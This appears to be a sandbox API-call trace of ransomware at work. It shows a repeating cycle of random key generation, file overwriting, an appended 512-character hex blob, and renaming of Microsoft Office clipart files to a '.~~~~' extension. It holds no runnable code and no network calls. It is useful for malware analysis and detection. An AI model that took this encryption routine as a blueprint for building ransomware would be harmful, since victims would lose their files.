	[0089.203] GetLastError () returned 0x0
	[0089.203] GetLastError () returned 0x0
	[0089.203] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.203] GetLastError () returned 0x0
	[0089.203] GetLastError () returned 0x0
	[0089.321] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffedfc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.321] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1204, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1204, lpOverlapped=0x0) returned 1
	[0089.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.322] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.322] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.322] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.323] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.323] CloseHandle (hObject=0x118) returned 1
	[0089.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.~~~~")) returned 1
	[0089.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.324] GetLastError () returned 0x0
	[0089.324] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.326] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.326] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.326] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20931626817) returned 1
	[0089.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f051330, dwHighDateTime=0x1d60e1e)) 
	[0089.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b25f8
	[0089.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b25f8 | out: hHeap=0x300000) returned 1
	[0089.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bf98
	[0089.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.327] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.327] GetLastError () returned 0x0
	[0089.327] GetLastError () returned 0x0
	[0089.328] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.328] GetLastError () returned 0x0
	[0089.328] GetLastError () returned 0x0
	[0089.333] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe328, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.334] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1cd8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1cd8, lpOverlapped=0x0) returned 1
	[0089.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.335] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.336] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.336] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.336] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.336] CloseHandle (hObject=0x118) returned 1
	[0089.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bf98
	[0089.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.~~~~")) returned 1
	[0089.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bf98 | out: hHeap=0x300000) returned 1
	[0089.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.337] GetLastError () returned 0x0
	[0089.340] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.341] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.341] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.342] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20933170638) returned 1
	[0089.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f077490, dwHighDateTime=0x1d60e1e)) 
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b25c0
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b25c0 | out: hHeap=0x300000) returned 1
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cb78
	[0089.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.342] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.343] GetLastError () returned 0x0
	[0089.343] GetLastError () returned 0x0
	[0089.343] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.343] GetLastError () returned 0x0
	[0089.343] GetLastError () returned 0x0
	[0089.346] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffecfa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.346] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1306, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1306, lpOverlapped=0x0) returned 1
	[0089.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.347] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.347] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.348] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.348] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.348] CloseHandle (hObject=0x118) returned 1
	[0089.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.~~~~")) returned 1
	[0089.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.349] GetLastError () returned 0x0
	[0089.349] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.351] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.351] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.351] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20934160713) returned 1
	[0089.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f09d5f0, dwHighDateTime=0x1d60e1e)) 
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2588
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2588 | out: hHeap=0x300000) returned 1
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cc10
	[0089.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.352] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.353] GetLastError () returned 0x0
	[0089.353] GetLastError () returned 0x0
	[0089.353] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.353] GetLastError () returned 0x0
	[0089.353] GetLastError () returned 0x0
	[0089.356] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff96fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.356] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x6906, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x6906, lpOverlapped=0x0) returned 1
	[0089.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.357] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.357] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.357] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.357] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.357] CloseHandle (hObject=0x118) returned 1
	[0089.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.357] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.~~~~")) returned 1
	[0089.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.358] GetLastError () returned 0x0
	[0089.359] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.360] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.360] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.360] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20935107627) returned 1
	[0089.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f09d5f0, dwHighDateTime=0x1d60e1e)) 
	[0089.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3920
	[0089.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3920 | out: hHeap=0x300000) returned 1
	[0089.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cca8
	[0089.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.362] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.362] GetLastError () returned 0x0
	[0089.362] GetLastError () returned 0x0
	[0089.362] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.362] GetLastError () returned 0x0
	[0089.362] GetLastError () returned 0x0
	[0089.642] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff8eec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.642] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7114, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x7114, lpOverlapped=0x0) returned 1
	[0089.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.643] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.643] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.643] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.644] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.644] CloseHandle (hObject=0x118) returned 1
	[0089.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.644] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.~~~~")) returned 1
	[0089.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.645] GetLastError () returned 0x0
	[0089.645] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.646] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.646] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.646] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20963645868) returned 1
	[0089.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f371010, dwHighDateTime=0x1d60e1e)) 
	[0089.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac548
	[0089.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac548 | out: hHeap=0x300000) returned 1
	[0089.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
